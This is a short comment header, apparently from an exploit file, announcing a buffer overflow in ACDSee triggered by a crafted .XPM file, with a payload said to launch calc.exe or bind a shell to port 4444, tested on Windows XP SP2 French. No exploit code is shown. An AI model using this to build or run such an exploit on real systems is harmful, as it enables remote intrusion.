* ACDSee is vulnerable to an unspecified buffer overflow when processing a   *
* crafted .XPM file.                                                         *
* This exploit runs calc.exe or binds shell to port 4444, and works against  *
* ACDSee and ACDSee Quick View.                                              *
*                                                                            *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
